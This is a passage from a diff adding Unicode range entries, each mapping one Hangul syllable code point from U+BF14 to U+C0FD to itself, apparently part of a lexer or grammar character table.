+ ["\uBF14", "\uBF14"], /* Hangul Syllable */
+ ["\uBF15", "\uBF15"], /* Hangul Syllable */
+ ["\uBF16", "\uBF16"], /* Hangul Syllable */
+ ["\uBF17", "\uBF17"], /* Hangul Syllable */
+ ["\uBF18", "\uBF18"], /* Hangul Syllable */
+ ["\uBF19", "\uBF19"], /* Hangul Syllable */
+ ["\uBF1A", "\uBF1A"], /* Hangul Syllable */
+ ["\uBF1B", "\uBF1B"], /* Hangul Syllable */
+ ["\uBF1C", "\uBF1C"], /* Hangul Syllable */
+ ["\uBF1D", "\uBF1D"], /* Hangul Syllable */
+ ["\uBF1E", "\uBF1E"], /* Hangul Syllable */
+ ["\uBF1F", "\uBF1F"], /* Hangul Syllable */
+ ["\uBF20", "\uBF20"], /* Hangul Syllable */
+ ["\uBF21", "\uBF21"], /* Hangul Syllable */
+ ["\uBF22", "\uBF22"], /* Hangul Syllable */
+ ["\uBF23", "\uBF23"], /* Hangul Syllable */
+ ["\uBF24", "\uBF24"], /* Hangul Syllable */
+ ["\uBF25", "\uBF25"], /* Hangul Syllable */
+ ["\uBF26", "\uBF26"], /* Hangul Syllable */
+ ["\uBF27", "\uBF27"], /* Hangul Syllable */
+ ["\uBF28", "\uBF28"], /* Hangul Syllable */
+ ["\uBF29", "\uBF29"], /* Hangul Syllable */
+ ["\uBF2A", "\uBF2A"], /* Hangul Syllable */
+ ["\uBF2B", "\uBF2B"], /* Hangul Syllable */
+ ["\uBF2C", "\uBF2C"], /* Hangul Syllable */
+ ["\uBF2D", "\uBF2D"], /* Hangul Syllable */
+ ["\uBF2E", "\uBF2E"], /* Hangul Syllable */
+ ["\uBF2F", "\uBF2F"], /* Hangul Syllable */
+ ["\uBF30", "\uBF30"], /* Hangul Syllable */
+ ["\uBF31", "\uBF31"], /* Hangul Syllable */
+ ["\uBF32", "\uBF32"], /* Hangul Syllable */
+ ["\uBF33", "\uBF33"], /* Hangul Syllable */
+ ["\uBF34", "\uBF34"], /* Hangul Syllable */
+ ["\uBF35", "\uBF35"], /* Hangul Syllable */
+ ["\uBF36", "\uBF36"], /* Hangul Syllable */
+ ["\uBF37", "\uBF37"], /* Hangul Syllable */
+ ["\uBF38", "\uBF38"], /* Hangul Syllable */
+ ["\uBF39", "\uBF39"], /* Hangul Syllable */
+ ["\uBF3A", "\uBF3A"], /* Hangul Syllable */
+ ["\uBF3B", "\uBF3B"], /* Hangul Syllable */
+ ["\uBF3C", "\uBF3C"], /* Hangul Syllable */
+ ["\uBF3D", "\uBF3D"], /* Hangul Syllable */
+ ["\uBF3E", "\uBF3E"], /* Hangul Syllable */
+ ["\uBF3F", "\uBF3F"], /* Hangul Syllable */
+ ["\uBF40", "\uBF40"], /* Hangul Syllable */
+ ["\uBF41", "\uBF41"], /* Hangul Syllable */
+ ["\uBF42", "\uBF42"], /* Hangul Syllable */
+ ["\uBF43", "\uBF43"], /* Hangul Syllable */
+ ["\uBF44", "\uBF44"], /* Hangul Syllable */
+ ["\uBF45", "\uBF45"], /* Hangul Syllable */
+ ["\uBF46", "\uBF46"], /* Hangul Syllable */
+ ["\uBF47", "\uBF47"], /* Hangul Syllable */
+ ["\uBF48", "\uBF48"], /* Hangul Syllable */
+ ["\uBF49", "\uBF49"], /* Hangul Syllable */
+ ["\uBF4A", "\uBF4A"], /* Hangul Syllable */
+ ["\uBF4B", "\uBF4B"], /* Hangul Syllable */
+ ["\uBF4C", "\uBF4C"], /* Hangul Syllable */
+ ["\uBF4D", "\uBF4D"], /* Hangul Syllable */
+ ["\uBF4E", "\uBF4E"], /* Hangul Syllable */
+ ["\uBF4F", "\uBF4F"], /* Hangul Syllable */
+ ["\uBF50", "\uBF50"], /* Hangul Syllable */
+ ["\uBF51", "\uBF51"], /* Hangul Syllable */
+ ["\uBF52", "\uBF52"], /* Hangul Syllable */
+ ["\uBF53", "\uBF53"], /* Hangul Syllable */
+ ["\uBF54", "\uBF54"], /* Hangul Syllable */
+ ["\uBF55", "\uBF55"], /* Hangul Syllable */
+ ["\uBF56", "\uBF56"], /* Hangul Syllable */
+ ["\uBF57", "\uBF57"], /* Hangul Syllable */
+ ["\uBF58", "\uBF58"], /* Hangul Syllable */
+ ["\uBF59", "\uBF59"], /* Hangul Syllable */
+ ["\uBF5A", "\uBF5A"], /* Hangul Syllable */
+ ["\uBF5B", "\uBF5B"], /* Hangul Syllable */
+ ["\uBF5C", "\uBF5C"], /* Hangul Syllable */
+ ["\uBF5D", "\uBF5D"], /* Hangul Syllable */
+ ["\uBF5E", "\uBF5E"], /* Hangul Syllable */
+ ["\uBF5F", "\uBF5F"], /* Hangul Syllable */
+ ["\uBF60", "\uBF60"], /* Hangul Syllable */
+ ["\uBF61", "\uBF61"], /* Hangul Syllable */
+ ["\uBF62", "\uBF62"], /* Hangul Syllable */
+ ["\uBF63", "\uBF63"], /* Hangul Syllable */
+ ["\uBF64", "\uBF64"], /* Hangul Syllable */
+ ["\uBF65", "\uBF65"], /* Hangul Syllable */
+ ["\uBF66", "\uBF66"], /* Hangul Syllable */
+ ["\uBF67", "\uBF67"], /* Hangul Syllable */
+ ["\uBF68", "\uBF68"], /* Hangul Syllable */
+ ["\uBF69", "\uBF69"], /* Hangul Syllable */
+ ["\uBF6A", "\uBF6A"], /* Hangul Syllable */
+ ["\uBF6B", "\uBF6B"], /* Hangul Syllable */
+ ["\uBF6C", "\uBF6C"], /* Hangul Syllable */
+ ["\uBF6D", "\uBF6D"], /* Hangul Syllable */
+ ["\uBF6E", "\uBF6E"], /* Hangul Syllable */
+ ["\uBF6F", "\uBF6F"], /* Hangul Syllable */
+ ["\uBF70", "\uBF70"], /* Hangul Syllable */
+ ["\uBF71", "\uBF71"], /* Hangul Syllable */
+ ["\uBF72", "\uBF72"], /* Hangul Syllable */
+ ["\uBF73", "\uBF73"], /* Hangul Syllable */
+ ["\uBF74", "\uBF74"], /* Hangul Syllable */
+ ["\uBF75", "\uBF75"], /* Hangul Syllable */
+ ["\uBF76", "\uBF76"], /* Hangul Syllable */
+ ["\uBF77", "\uBF77"], /* Hangul Syllable */
+ ["\uBF78", "\uBF78"], /* Hangul Syllable */
+ ["\uBF79", "\uBF79"], /* Hangul Syllable */
+ ["\uBF7A", "\uBF7A"], /* Hangul Syllable */
+ ["\uBF7B", "\uBF7B"], /* Hangul Syllable */
+ ["\uBF7C", "\uBF7C"], /* Hangul Syllable */
+ ["\uBF7D", "\uBF7D"], /* Hangul Syllable */
+ ["\uBF7E", "\uBF7E"], /* Hangul Syllable */
+ ["\uBF7F", "\uBF7F"], /* Hangul Syllable */
+ ["\uBF80", "\uBF80"], /* Hangul Syllable */
+ ["\uBF81", "\uBF81"], /* Hangul Syllable */
+ ["\uBF82", "\uBF82"], /* Hangul Syllable */
+ ["\uBF83", "\uBF83"], /* Hangul Syllable */
+ ["\uBF84", "\uBF84"], /* Hangul Syllable */
+ ["\uBF85", "\uBF85"], /* Hangul Syllable */
+ ["\uBF86", "\uBF86"], /* Hangul Syllable */
+ ["\uBF87", "\uBF87"], /* Hangul Syllable */
+ ["\uBF88", "\uBF88"], /* Hangul Syllable */
+ ["\uBF89", "\uBF89"], /* Hangul Syllable */
+ ["\uBF8A", "\uBF8A"], /* Hangul Syllable */
+ ["\uBF8B", "\uBF8B"], /* Hangul Syllable */
+ ["\uBF8C", "\uBF8C"], /* Hangul Syllable */
+ ["\uBF8D", "\uBF8D"], /* Hangul Syllable */
+ ["\uBF8E", "\uBF8E"], /* Hangul Syllable */
+ ["\uBF8F", "\uBF8F"], /* Hangul Syllable */
+ ["\uBF90", "\uBF90"], /* Hangul Syllable */
+ ["\uBF91", "\uBF91"], /* Hangul Syllable */
+ ["\uBF92", "\uBF92"], /* Hangul Syllable */
+ ["\uBF93", "\uBF93"], /* Hangul Syllable */
+ ["\uBF94", "\uBF94"], /* Hangul Syllable */
+ ["\uBF95", "\uBF95"], /* Hangul Syllable */
+ ["\uBF96", "\uBF96"], /* Hangul Syllable */
+ ["\uBF97", "\uBF97"], /* Hangul Syllable */
+ ["\uBF98", "\uBF98"], /* Hangul Syllable */
+ ["\uBF99", "\uBF99"], /* Hangul Syllable */
+ ["\uBF9A", "\uBF9A"], /* Hangul Syllable */
+ ["\uBF9B", "\uBF9B"], /* Hangul Syllable */
+ ["\uBF9C", "\uBF9C"], /* Hangul Syllable */
+ ["\uBF9D", "\uBF9D"], /* Hangul Syllable */
+ ["\uBF9E", "\uBF9E"], /* Hangul Syllable */
+ ["\uBF9F", "\uBF9F"], /* Hangul Syllable */
+ ["\uBFA0", "\uBFA0"], /* Hangul Syllable */
+ ["\uBFA1", "\uBFA1"], /* Hangul Syllable */
+ ["\uBFA2", "\uBFA2"], /* Hangul Syllable */
+ ["\uBFA3", "\uBFA3"], /* Hangul Syllable */
+ ["\uBFA4", "\uBFA4"], /* Hangul Syllable */
+ ["\uBFA5", "\uBFA5"], /* Hangul Syllable */
+ ["\uBFA6", "\uBFA6"], /* Hangul Syllable */
+ ["\uBFA7", "\uBFA7"], /* Hangul Syllable */
+ ["\uBFA8", "\uBFA8"], /* Hangul Syllable */
+ ["\uBFA9", "\uBFA9"], /* Hangul Syllable */
+ ["\uBFAA", "\uBFAA"], /* Hangul Syllable */
+ ["\uBFAB", "\uBFAB"], /* Hangul Syllable */
+ ["\uBFAC", "\uBFAC"], /* Hangul Syllable */
+ ["\uBFAD", "\uBFAD"], /* Hangul Syllable */
+ ["\uBFAE", "\uBFAE"], /* Hangul Syllable */
+ ["\uBFAF", "\uBFAF"], /* Hangul Syllable */
+ ["\uBFB0", "\uBFB0"], /* Hangul Syllable */
+ ["\uBFB1", "\uBFB1"], /* Hangul Syllable */
+ ["\uBFB2", "\uBFB2"], /* Hangul Syllable */
+ ["\uBFB3", "\uBFB3"], /* Hangul Syllable */
+ ["\uBFB4", "\uBFB4"], /* Hangul Syllable */
+ ["\uBFB5", "\uBFB5"], /* Hangul Syllable */
+ ["\uBFB6", "\uBFB6"], /* Hangul Syllable */
+ ["\uBFB7", "\uBFB7"], /* Hangul Syllable */
+ ["\uBFB8", "\uBFB8"], /* Hangul Syllable */
+ ["\uBFB9", "\uBFB9"], /* Hangul Syllable */
+ ["\uBFBA", "\uBFBA"], /* Hangul Syllable */
+ ["\uBFBB", "\uBFBB"], /* Hangul Syllable */
+ ["\uBFBC", "\uBFBC"], /* Hangul Syllable */
+ ["\uBFBD", "\uBFBD"], /* Hangul Syllable */
+ ["\uBFBE", "\uBFBE"], /* Hangul Syllable */
+ ["\uBFBF", "\uBFBF"], /* Hangul Syllable */
+ ["\uBFC0", "\uBFC0"], /* Hangul Syllable */
+ ["\uBFC1", "\uBFC1"], /* Hangul Syllable */
+ ["\uBFC2", "\uBFC2"], /* Hangul Syllable */
+ ["\uBFC3", "\uBFC3"], /* Hangul Syllable */
+ ["\uBFC4", "\uBFC4"], /* Hangul Syllable */
+ ["\uBFC5", "\uBFC5"], /* Hangul Syllable */
+ ["\uBFC6", "\uBFC6"], /* Hangul Syllable */
+ ["\uBFC7", "\uBFC7"], /* Hangul Syllable */
+ ["\uBFC8", "\uBFC8"], /* Hangul Syllable */
+ ["\uBFC9", "\uBFC9"], /* Hangul Syllable */
+ ["\uBFCA", "\uBFCA"], /* Hangul Syllable */
+ ["\uBFCB", "\uBFCB"], /* Hangul Syllable */
+ ["\uBFCC", "\uBFCC"], /* Hangul Syllable */
+ ["\uBFCD", "\uBFCD"], /* Hangul Syllable */
+ ["\uBFCE", "\uBFCE"], /* Hangul Syllable */
+ ["\uBFCF", "\uBFCF"], /* Hangul Syllable */
+ ["\uBFD0", "\uBFD0"], /* Hangul Syllable */
+ ["\uBFD1", "\uBFD1"], /* Hangul Syllable */
+ ["\uBFD2", "\uBFD2"], /* Hangul Syllable */
+ ["\uBFD3", "\uBFD3"], /* Hangul Syllable */
+ ["\uBFD4", "\uBFD4"], /* Hangul Syllable */
+ ["\uBFD5", "\uBFD5"], /* Hangul Syllable */
+ ["\uBFD6", "\uBFD6"], /* Hangul Syllable */
+ ["\uBFD7", "\uBFD7"], /* Hangul Syllable */
+ ["\uBFD8", "\uBFD8"], /* Hangul Syllable */
+ ["\uBFD9", "\uBFD9"], /* Hangul Syllable */
+ ["\uBFDA", "\uBFDA"], /* Hangul Syllable */
+ ["\uBFDB", "\uBFDB"], /* Hangul Syllable */
+ ["\uBFDC", "\uBFDC"], /* Hangul Syllable */
+ ["\uBFDD", "\uBFDD"], /* Hangul Syllable */
+ ["\uBFDE", "\uBFDE"], /* Hangul Syllable */
+ ["\uBFDF", "\uBFDF"], /* Hangul Syllable */
+ ["\uBFE0", "\uBFE0"], /* Hangul Syllable */
+ ["\uBFE1", "\uBFE1"], /* Hangul Syllable */
+ ["\uBFE2", "\uBFE2"], /* Hangul Syllable */
+ ["\uBFE3", "\uBFE3"], /* Hangul Syllable */
+ ["\uBFE4", "\uBFE4"], /* Hangul Syllable */
+ ["\uBFE5", "\uBFE5"], /* Hangul Syllable */
+ ["\uBFE6", "\uBFE6"], /* Hangul Syllable */
+ ["\uBFE7", "\uBFE7"], /* Hangul Syllable */
+ ["\uBFE8", "\uBFE8"], /* Hangul Syllable */
+ ["\uBFE9", "\uBFE9"], /* Hangul Syllable */
+ ["\uBFEA", "\uBFEA"], /* Hangul Syllable */
+ ["\uBFEB", "\uBFEB"], /* Hangul Syllable */
+ ["\uBFEC", "\uBFEC"], /* Hangul Syllable */
+ ["\uBFED", "\uBFED"], /* Hangul Syllable */
+ ["\uBFEE", "\uBFEE"], /* Hangul Syllable */
+ ["\uBFEF", "\uBFEF"], /* Hangul Syllable */
+ ["\uBFF0", "\uBFF0"], /* Hangul Syllable */
+ ["\uBFF1", "\uBFF1"], /* Hangul Syllable */
+ ["\uBFF2", "\uBFF2"], /* Hangul Syllable */
+ ["\uBFF3", "\uBFF3"], /* Hangul Syllable */
+ ["\uBFF4", "\uBFF4"], /* Hangul Syllable */
+ ["\uBFF5", "\uBFF5"], /* Hangul Syllable */
+ ["\uBFF6", "\uBFF6"], /* Hangul Syllable */
+ ["\uBFF7", "\uBFF7"], /* Hangul Syllable */
+ ["\uBFF8", "\uBFF8"], /* Hangul Syllable */
+ ["\uBFF9", "\uBFF9"], /* Hangul Syllable */
+ ["\uBFFA", "\uBFFA"], /* Hangul Syllable */
+ ["\uBFFB", "\uBFFB"], /* Hangul Syllable */
+ ["\uBFFC", "\uBFFC"], /* Hangul Syllable */
+ ["\uBFFD", "\uBFFD"], /* Hangul Syllable */
+ ["\uBFFE", "\uBFFE"], /* Hangul Syllable */
+ ["\uBFFF", "\uBFFF"], /* Hangul Syllable */
+ ["\uC000", "\uC000"], /* Hangul Syllable */
+ ["\uC001", "\uC001"], /* Hangul Syllable */
+ ["\uC002", "\uC002"], /* Hangul Syllable */
+ ["\uC003", "\uC003"], /* Hangul Syllable */
+ ["\uC004", "\uC004"], /* Hangul Syllable */
+ ["\uC005", "\uC005"], /* Hangul Syllable */
+ ["\uC006", "\uC006"], /* Hangul Syllable */
+ ["\uC007", "\uC007"], /* Hangul Syllable */
+ ["\uC008", "\uC008"], /* Hangul Syllable */
+ ["\uC009", "\uC009"], /* Hangul Syllable */
+ ["\uC00A", "\uC00A"], /* Hangul Syllable */
+ ["\uC00B", "\uC00B"], /* Hangul Syllable */
+ ["\uC00C", "\uC00C"], /* Hangul Syllable */
+ ["\uC00D", "\uC00D"], /* Hangul Syllable */
+ ["\uC00E", "\uC00E"], /* Hangul Syllable */
+ ["\uC00F", "\uC00F"], /* Hangul Syllable */
+ ["\uC010", "\uC010"], /* Hangul Syllable */
+ ["\uC011", "\uC011"], /* Hangul Syllable */
+ ["\uC012", "\uC012"], /* Hangul Syllable */
+ ["\uC013", "\uC013"], /* Hangul Syllable */
+ ["\uC014", "\uC014"], /* Hangul Syllable */
+ ["\uC015", "\uC015"], /* Hangul Syllable */
+ ["\uC016", "\uC016"], /* Hangul Syllable */
+ ["\uC017", "\uC017"], /* Hangul Syllable */
+ ["\uC018", "\uC018"], /* Hangul Syllable */
+ ["\uC019", "\uC019"], /* Hangul Syllable */
+ ["\uC01A", "\uC01A"], /* Hangul Syllable */
+ ["\uC01B", "\uC01B"], /* Hangul Syllable */
+ ["\uC01C", "\uC01C"], /* Hangul Syllable */
+ ["\uC01D", "\uC01D"], /* Hangul Syllable */
+ ["\uC01E", "\uC01E"], /* Hangul Syllable */
+ ["\uC01F", "\uC01F"], /* Hangul Syllable */
+ ["\uC020", "\uC020"], /* Hangul Syllable */
+ ["\uC021", "\uC021"], /* Hangul Syllable */
+ ["\uC022", "\uC022"], /* Hangul Syllable */
+ ["\uC023", "\uC023"], /* Hangul Syllable */
+ ["\uC024", "\uC024"], /* Hangul Syllable */
+ ["\uC025", "\uC025"], /* Hangul Syllable */
+ ["\uC026", "\uC026"], /* Hangul Syllable */
+ ["\uC027", "\uC027"], /* Hangul Syllable */
+ ["\uC028", "\uC028"], /* Hangul Syllable */
+ ["\uC029", "\uC029"], /* Hangul Syllable */
+ ["\uC02A", "\uC02A"], /* Hangul Syllable */
+ ["\uC02B", "\uC02B"], /* Hangul Syllable */
+ ["\uC02C", "\uC02C"], /* Hangul Syllable */
+ ["\uC02D", "\uC02D"], /* Hangul Syllable */
+ ["\uC02E", "\uC02E"], /* Hangul Syllable */
+ ["\uC02F", "\uC02F"], /* Hangul Syllable */
+ ["\uC030", "\uC030"], /* Hangul Syllable */
+ ["\uC031", "\uC031"], /* Hangul Syllable */
+ ["\uC032", "\uC032"], /* Hangul Syllable */
+ ["\uC033", "\uC033"], /* Hangul Syllable */
+ ["\uC034", "\uC034"], /* Hangul Syllable */
+ ["\uC035", "\uC035"], /* Hangul Syllable */
+ ["\uC036", "\uC036"], /* Hangul Syllable */
+ ["\uC037", "\uC037"], /* Hangul Syllable */
+ ["\uC038", "\uC038"], /* Hangul Syllable */
+ ["\uC039", "\uC039"], /* Hangul Syllable */
+ ["\uC03A", "\uC03A"], /* Hangul Syllable */
+ ["\uC03B", "\uC03B"], /* Hangul Syllable */
+ ["\uC03C", "\uC03C"], /* Hangul Syllable */
+ ["\uC03D", "\uC03D"], /* Hangul Syllable */
+ ["\uC03E", "\uC03E"], /* Hangul Syllable */
+ ["\uC03F", "\uC03F"], /* Hangul Syllable */
+ ["\uC040", "\uC040"], /* Hangul Syllable */
+ ["\uC041", "\uC041"], /* Hangul Syllable */
+ ["\uC042", "\uC042"], /* Hangul Syllable */
+ ["\uC043", "\uC043"], /* Hangul Syllable */
+ ["\uC044", "\uC044"], /* Hangul Syllable */
+ ["\uC045", "\uC045"], /* Hangul Syllable */
+ ["\uC046", "\uC046"], /* Hangul Syllable */
+ ["\uC047", "\uC047"], /* Hangul Syllable */
+ ["\uC048", "\uC048"], /* Hangul Syllable */
+ ["\uC049", "\uC049"], /* Hangul Syllable */
+ ["\uC04A", "\uC04A"], /* Hangul Syllable */
+ ["\uC04B", "\uC04B"], /* Hangul Syllable */
+ ["\uC04C", "\uC04C"], /* Hangul Syllable */
+ ["\uC04D", "\uC04D"], /* Hangul Syllable */
+ ["\uC04E", "\uC04E"], /* Hangul Syllable */
+ ["\uC04F", "\uC04F"], /* Hangul Syllable */
+ ["\uC050", "\uC050"], /* Hangul Syllable */
+ ["\uC051", "\uC051"], /* Hangul Syllable */
+ ["\uC052", "\uC052"], /* Hangul Syllable */
+ ["\uC053", "\uC053"], /* Hangul Syllable */
+ ["\uC054", "\uC054"], /* Hangul Syllable */
+ ["\uC055", "\uC055"], /* Hangul Syllable */
+ ["\uC056", "\uC056"], /* Hangul Syllable */
+ ["\uC057", "\uC057"], /* Hangul Syllable */
+ ["\uC058", "\uC058"], /* Hangul Syllable */
+ ["\uC059", "\uC059"], /* Hangul Syllable */
+ ["\uC05A", "\uC05A"], /* Hangul Syllable */
+ ["\uC05B", "\uC05B"], /* Hangul Syllable */
+ ["\uC05C", "\uC05C"], /* Hangul Syllable */
+ ["\uC05D", "\uC05D"], /* Hangul Syllable */
+ ["\uC05E", "\uC05E"], /* Hangul Syllable */
+ ["\uC05F", "\uC05F"], /* Hangul Syllable */
+ ["\uC060", "\uC060"], /* Hangul Syllable */
+ ["\uC061", "\uC061"], /* Hangul Syllable */
+ ["\uC062", "\uC062"], /* Hangul Syllable */
+ ["\uC063", "\uC063"], /* Hangul Syllable */
+ ["\uC064", "\uC064"], /* Hangul Syllable */
+ ["\uC065", "\uC065"], /* Hangul Syllable */
+ ["\uC066", "\uC066"], /* Hangul Syllable */
+ ["\uC067", "\uC067"], /* Hangul Syllable */
+ ["\uC068", "\uC068"], /* Hangul Syllable */
+ ["\uC069", "\uC069"], /* Hangul Syllable */
+ ["\uC06A", "\uC06A"], /* Hangul Syllable */
+ ["\uC06B", "\uC06B"], /* Hangul Syllable */
+ ["\uC06C", "\uC06C"], /* Hangul Syllable */
+ ["\uC06D", "\uC06D"], /* Hangul Syllable */
+ ["\uC06E", "\uC06E"], /* Hangul Syllable */
+ ["\uC06F", "\uC06F"], /* Hangul Syllable */
+ ["\uC070", "\uC070"], /* Hangul Syllable */
+ ["\uC071", "\uC071"], /* Hangul Syllable */
+ ["\uC072", "\uC072"], /* Hangul Syllable */
+ ["\uC073", "\uC073"], /* Hangul Syllable */
+ ["\uC074", "\uC074"], /* Hangul Syllable */
+ ["\uC075", "\uC075"], /* Hangul Syllable */
+ ["\uC076", "\uC076"], /* Hangul Syllable */
+ ["\uC077", "\uC077"], /* Hangul Syllable */
+ ["\uC078", "\uC078"], /* Hangul Syllable */
+ ["\uC079", "\uC079"], /* Hangul Syllable */
+ ["\uC07A", "\uC07A"], /* Hangul Syllable */
+ ["\uC07B", "\uC07B"], /* Hangul Syllable */
+ ["\uC07C", "\uC07C"], /* Hangul Syllable */
+ ["\uC07D", "\uC07D"], /* Hangul Syllable */
+ ["\uC07E", "\uC07E"], /* Hangul Syllable */
+ ["\uC07F", "\uC07F"], /* Hangul Syllable */
+ ["\uC080", "\uC080"], /* Hangul Syllable */
+ ["\uC081", "\uC081"], /* Hangul Syllable */
+ ["\uC082", "\uC082"], /* Hangul Syllable */
+ ["\uC083", "\uC083"], /* Hangul Syllable */
+ ["\uC084", "\uC084"], /* Hangul Syllable */
+ ["\uC085", "\uC085"], /* Hangul Syllable */
+ ["\uC086", "\uC086"], /* Hangul Syllable */
+ ["\uC087", "\uC087"], /* Hangul Syllable */
+ ["\uC088", "\uC088"], /* Hangul Syllable */
+ ["\uC089", "\uC089"], /* Hangul Syllable */
+ ["\uC08A", "\uC08A"], /* Hangul Syllable */
+ ["\uC08B", "\uC08B"], /* Hangul Syllable */
+ ["\uC08C", "\uC08C"], /* Hangul Syllable */
+ ["\uC08D", "\uC08D"], /* Hangul Syllable */
+ ["\uC08E", "\uC08E"], /* Hangul Syllable */
+ ["\uC08F", "\uC08F"], /* Hangul Syllable */
+ ["\uC090", "\uC090"], /* Hangul Syllable */
+ ["\uC091", "\uC091"], /* Hangul Syllable */
+ ["\uC092", "\uC092"], /* Hangul Syllable */
+ ["\uC093", "\uC093"], /* Hangul Syllable */
+ ["\uC094", "\uC094"], /* Hangul Syllable */
+ ["\uC095", "\uC095"], /* Hangul Syllable */
+ ["\uC096", "\uC096"], /* Hangul Syllable */
+ ["\uC097", "\uC097"], /* Hangul Syllable */
+ ["\uC098", "\uC098"], /* Hangul Syllable */
+ ["\uC099", "\uC099"], /* Hangul Syllable */
+ ["\uC09A", "\uC09A"], /* Hangul Syllable */
+ ["\uC09B", "\uC09B"], /* Hangul Syllable */
+ ["\uC09C", "\uC09C"], /* Hangul Syllable */
+ ["\uC09D", "\uC09D"], /* Hangul Syllable */
+ ["\uC09E", "\uC09E"], /* Hangul Syllable */
+ ["\uC09F", "\uC09F"], /* Hangul Syllable */
+ ["\uC0A0", "\uC0A0"], /* Hangul Syllable */
+ ["\uC0A1", "\uC0A1"], /* Hangul Syllable */
+ ["\uC0A2", "\uC0A2"], /* Hangul Syllable */
+ ["\uC0A3", "\uC0A3"], /* Hangul Syllable */
+ ["\uC0A4", "\uC0A4"], /* Hangul Syllable */
+ ["\uC0A5", "\uC0A5"], /* Hangul Syllable */
+ ["\uC0A6", "\uC0A6"], /* Hangul Syllable */
+ ["\uC0A7", "\uC0A7"], /* Hangul Syllable */
+ ["\uC0A8", "\uC0A8"], /* Hangul Syllable */
+ ["\uC0A9", "\uC0A9"], /* Hangul Syllable */
+ ["\uC0AA", "\uC0AA"], /* Hangul Syllable */
+ ["\uC0AB", "\uC0AB"], /* Hangul Syllable */
+ ["\uC0AC", "\uC0AC"], /* Hangul Syllable */
+ ["\uC0AD", "\uC0AD"], /* Hangul Syllable */
+ ["\uC0AE", "\uC0AE"], /* Hangul Syllable */
+ ["\uC0AF", "\uC0AF"], /* Hangul Syllable */
+ ["\uC0B0", "\uC0B0"], /* Hangul Syllable */
+ ["\uC0B1", "\uC0B1"], /* Hangul Syllable */
+ ["\uC0B2", "\uC0B2"], /* Hangul Syllable */
+ ["\uC0B3", "\uC0B3"], /* Hangul Syllable */
+ ["\uC0B4", "\uC0B4"], /* Hangul Syllable */
+ ["\uC0B5", "\uC0B5"], /* Hangul Syllable */
+ ["\uC0B6", "\uC0B6"], /* Hangul Syllable */
+ ["\uC0B7", "\uC0B7"], /* Hangul Syllable */
+ ["\uC0B8", "\uC0B8"], /* Hangul Syllable */
+ ["\uC0B9", "\uC0B9"], /* Hangul Syllable */
+ ["\uC0BA", "\uC0BA"], /* Hangul Syllable */
+ ["\uC0BB", "\uC0BB"], /* Hangul Syllable */
+ ["\uC0BC", "\uC0BC"], /* Hangul Syllable */
+ ["\uC0BD", "\uC0BD"], /* Hangul Syllable */
+ ["\uC0BE", "\uC0BE"], /* Hangul Syllable */
+ ["\uC0BF", "\uC0BF"], /* Hangul Syllable */
+ ["\uC0C0", "\uC0C0"], /* Hangul Syllable */
+ ["\uC0C1", "\uC0C1"], /* Hangul Syllable */
+ ["\uC0C2", "\uC0C2"], /* Hangul Syllable */
+ ["\uC0C3", "\uC0C3"], /* Hangul Syllable */
+ ["\uC0C4", "\uC0C4"], /* Hangul Syllable */
+ ["\uC0C5", "\uC0C5"], /* Hangul Syllable */
+ ["\uC0C6", "\uC0C6"], /* Hangul Syllable */
+ ["\uC0C7", "\uC0C7"], /* Hangul Syllable */
+ ["\uC0C8", "\uC0C8"], /* Hangul Syllable */
+ ["\uC0C9", "\uC0C9"], /* Hangul Syllable */
+ ["\uC0CA", "\uC0CA"], /* Hangul Syllable */
+ ["\uC0CB", "\uC0CB"], /* Hangul Syllable */
+ ["\uC0CC", "\uC0CC"], /* Hangul Syllable */
+ ["\uC0CD", "\uC0CD"], /* Hangul Syllable */
+ ["\uC0CE", "\uC0CE"], /* Hangul Syllable */
+ ["\uC0CF", "\uC0CF"], /* Hangul Syllable */
+ ["\uC0D0", "\uC0D0"], /* Hangul Syllable */
+ ["\uC0D1", "\uC0D1"], /* Hangul Syllable */
+ ["\uC0D2", "\uC0D2"], /* Hangul Syllable */
+ ["\uC0D3", "\uC0D3"], /* Hangul Syllable */
+ ["\uC0D4", "\uC0D4"], /* Hangul Syllable */
+ ["\uC0D5", "\uC0D5"], /* Hangul Syllable */
+ ["\uC0D6", "\uC0D6"], /* Hangul Syllable */
+ ["\uC0D7", "\uC0D7"], /* Hangul Syllable */
+ ["\uC0D8", "\uC0D8"], /* Hangul Syllable */
+ ["\uC0D9", "\uC0D9"], /* Hangul Syllable */
+ ["\uC0DA", "\uC0DA"], /* Hangul Syllable */
+ ["\uC0DB", "\uC0DB"], /* Hangul Syllable */
+ ["\uC0DC", "\uC0DC"], /* Hangul Syllable */
+ ["\uC0DD", "\uC0DD"], /* Hangul Syllable */
+ ["\uC0DE", "\uC0DE"], /* Hangul Syllable */
+ ["\uC0DF", "\uC0DF"], /* Hangul Syllable */
+ ["\uC0E0", "\uC0E0"], /* Hangul Syllable */
+ ["\uC0E1", "\uC0E1"], /* Hangul Syllable */
+ ["\uC0E2", "\uC0E2"], /* Hangul Syllable */
+ ["\uC0E3", "\uC0E3"], /* Hangul Syllable */
+ ["\uC0E4", "\uC0E4"], /* Hangul Syllable */
+ ["\uC0E5", "\uC0E5"], /* Hangul Syllable */
+ ["\uC0E6", "\uC0E6"], /* Hangul Syllable */
+ ["\uC0E7", "\uC0E7"], /* Hangul Syllable */
+ ["\uC0E8", "\uC0E8"], /* Hangul Syllable */
+ ["\uC0E9", "\uC0E9"], /* Hangul Syllable */
+ ["\uC0EA", "\uC0EA"], /* Hangul Syllable */
+ ["\uC0EB", "\uC0EB"], /* Hangul Syllable */
+ ["\uC0EC", "\uC0EC"], /* Hangul Syllable */
+ ["\uC0ED", "\uC0ED"], /* Hangul Syllable */
+ ["\uC0EE", "\uC0EE"], /* Hangul Syllable */
+ ["\uC0EF", "\uC0EF"], /* Hangul Syllable */
+ ["\uC0F0", "\uC0F0"], /* Hangul Syllable */
+ ["\uC0F1", "\uC0F1"], /* Hangul Syllable */
+ ["\uC0F2", "\uC0F2"], /* Hangul Syllable */
+ ["\uC0F3", "\uC0F3"], /* Hangul Syllable */
+ ["\uC0F4", "\uC0F4"], /* Hangul Syllable */
+ ["\uC0F5", "\uC0F5"], /* Hangul Syllable */
+ ["\uC0F6", "\uC0F6"], /* Hangul Syllable */
+ ["\uC0F7", "\uC0F7"], /* Hangul Syllable */
+ ["\uC0F8", "\uC0F8"], /* Hangul Syllable */
+ ["\uC0F9", "\uC0F9"], /* Hangul Syllable */
+ ["\uC0FA", "\uC0FA"], /* Hangul Syllable */
+ ["\uC0FB", "\uC0FB"], /* Hangul Syllable */
+ ["\uC0FC", "\uC0FC"], /* Hangul Syllable */
+ ["\uC0FD", "\uC0FD"], /* Hangul Syllable */
